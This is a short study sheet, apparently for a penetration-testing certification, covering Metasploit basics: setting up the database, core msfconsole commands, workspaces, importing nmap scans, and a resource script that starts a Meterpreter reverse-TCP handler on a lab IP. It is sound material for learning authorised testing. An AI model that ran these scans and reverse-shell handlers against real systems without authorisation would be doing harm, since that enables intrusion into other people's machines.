Metasploit Framework: console, database & workflow basics
Core msfconsole commands, database setup, workspaces, and resource scripts.
msfconsole·1 min read··INE Certification
The Metasploit Framework is one of the industry’s most widely adopted open-source penetration testing platforms, engineered to streamline vulnerability verification, exploit execution, and post-exploitation analysis. It provides security professionals and ethical hackers with an extensive database of modular exploits, auxiliary scanning modules, and customizable payloads — most notably the dynamic, in-memory Meterpreter agent. By enabling practitioners to safely simulate real-world cyberattacks across networks, operating systems, and applications, Metasploit serves as an essential standard for probing defensive perimeters and validating security postures.
See Meterpreter essentials and msfvenom for what comes after landing a session, and From service version to working exploit for turning enumeration results into the module you use below.
Database setup
Metasploit needs postgres to track hosts/creds/loot:
sudo msfdb init # first-time setup
sudo msfdb status
/etc/init.d/postgresql start # in some lab images the service isn't started yet
msfconsole
db_status # confirm it's connected before relying on `hosts`, `services`, etc.
Core console commands
search <string> # search all module names/descriptions
search type:auxiliary name:ftp cve:2017
use <module_path>
show options
show payloads # compatible payloads for the loaded exploit
show targets # for exploits with multiple target profiles
set <OPTION> <VALUE>
setg <OPTION> <VALUE> # set globally, persists across module switches
run # or exploit / execute
back # unload current module
Tracking what you’ve found
sessions # list active sessions
sessions -i <id> # interact with one
hosts / services / creds / vulns / loot
route # active pivoting routes
Workspaces
Segment data per target/engagement:
workspace
workspace -a <name>
workspace -d <name>
workspace -r <new_name>
Feeding nmap results in
db_nmap -sS -sV -O <target_ip> # scans AND saves to the db in one step
nmap <target_ip> -oX out.xml && db_import out.xml # or import an existing XML
Resource scripts
# handler.rc
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run
msfconsole -r handler.rc # run a script on launch
resource handler.rc # or load one from inside msfconsole
Module variables
| Variable | Meaning |
|---|---|
LHOST / LPORT | Your machine’s IP/port. Defaults to localhost but can be overridden |
RHOST / RHOSTS | Target or targets IP address(es) |
RPORT | Target port |
Wordlists live at /usr/share/metasploit-framework/data/wordlists. Some modules auto-open a session on success — check the sessions command for this.
Related
- Meterpreter essentials — the payload you’ll be interacting with after most exploits
- msfvenom — generate the standalone payloads used by
multi/handler - db_autopwn — automate exploit matching against everything in this database
- searchsploit — offline alternative when
searchturns up nothing - From service version to working exploit — the workflow connecting enumeration to the
use/searchsteps above - Pivoting: reach isolated subnets through a compromised host — what the
routecommand and autoroute support